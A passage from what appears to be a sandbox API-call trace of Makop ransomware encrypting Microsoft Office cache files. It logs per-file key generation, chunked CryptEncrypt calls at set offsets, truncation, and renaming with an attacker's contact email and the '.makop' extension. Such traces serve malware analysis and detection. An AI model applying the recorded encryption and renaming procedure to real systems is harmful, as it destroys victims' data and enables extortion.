lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0072.478] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0072.478] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0072.485] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0072.488] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11c0210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.488] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0072.490] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.490] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0072.491] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0072.491] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12002d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.491] SetEndOfFile (hFile=0x124) returned 1 [0072.497] GetProcessHeap () returned 0x48a0000 [0072.497] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0072.497] GetProcessHeap () returned 0x48a0000 [0072.497] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0072.497] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0072.498] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0073.935] CloseHandle (hObject=0x124) returned 1 [0073.936] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0073.936] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0073.936] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0073.937] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=3124224) returned 1 [0073.938] GetProcessHeap () returned 0x48a0000 [0073.938] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0073.938] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0073.938] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0073.938] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0073.938] GetProcessHeap () returned 0x48a0000 [0073.939] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0073.939] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0073.939] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0073.939] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0073.943] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0073.943] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0073.944] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0073.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0073.944] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0073.944] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0073.944] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0073.944] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0073.944] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0073.956] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0073.959] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.959] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0073.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.961] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0073.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0073.961] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0073.985] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0073.988] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.988] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0073.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.993] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0073.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0073.993] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0073.999] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0074.002] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.002] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0074.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.005] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0074.005] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.005] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2facd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.005] SetEndOfFile (hFile=0x124) returned 1 [0074.015] GetProcessHeap () returned 0x48a0000 [0074.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0074.015] GetProcessHeap () returned 0x48a0000 [0074.015] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0074.015] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0074.015] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0074.231] CloseHandle (hObject=0x124) returned 1 [0074.231] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0074.231] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0074.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0074.232] GetProcessHeap () returned 0x48a0000 [0074.232] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0074.232] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0074.232] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0074.232] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x1, lpOverlapped=0x0) returned 1 [0074.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0074.240] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.240] GetProcessHeap () returned 0x48a0000 [0074.240] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0074.240] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0074.241] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.241] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0074.241] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0074.241] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0074.241] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0074.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0074.241] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0074.241] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0074.242] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.242] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x4cf, lpOverlapped=0x0) returned 1 [0074.242] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x4d0) returned 1 [0074.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.242] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x4d0, lpOverlapped=0x0) returned 1 [0074.242] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.242] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.242] SetEndOfFile (hFile=0x124) returned 1 [0074.249] GetProcessHeap () returned 0x48a0000 [0074.249] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0074.249] GetProcessHeap () returned 0x48a0000 [0074.249] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0074.249] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0074.249] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0074.255] CloseHandle (hObject=0x124) returned 1 [0074.255] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0074.255] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0074.256] GetProcessHeap () returned 0x48a0000 [0074.256] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0074.256] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0074.256] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0074.256] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0074.260] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0074.260] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.260] GetProcessHeap () returned 0x48a0000 [0074.260] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0074.260] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0074.260] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.261] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0074.261] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0074.261] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0074.261] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0074.261] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0074.261] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0074.261] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0074.261] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0074.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.262] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x73c, lpOverlapped=0x0) returned 1 [0074.262] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x740) returned 1 [0074.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.262] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x740, lpOverlapped=0x0) returned 1 [0074.262] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0074.262] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.262] SetEndOfFile (hFile=0x124) returned 1 [0074.269] GetProcessHeap () returned 0x48a0000 [0074.269] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0074.269] GetProcessHeap () returned 0x48a0000 [0074.269] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0074.269] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0074.269] MoveFileW 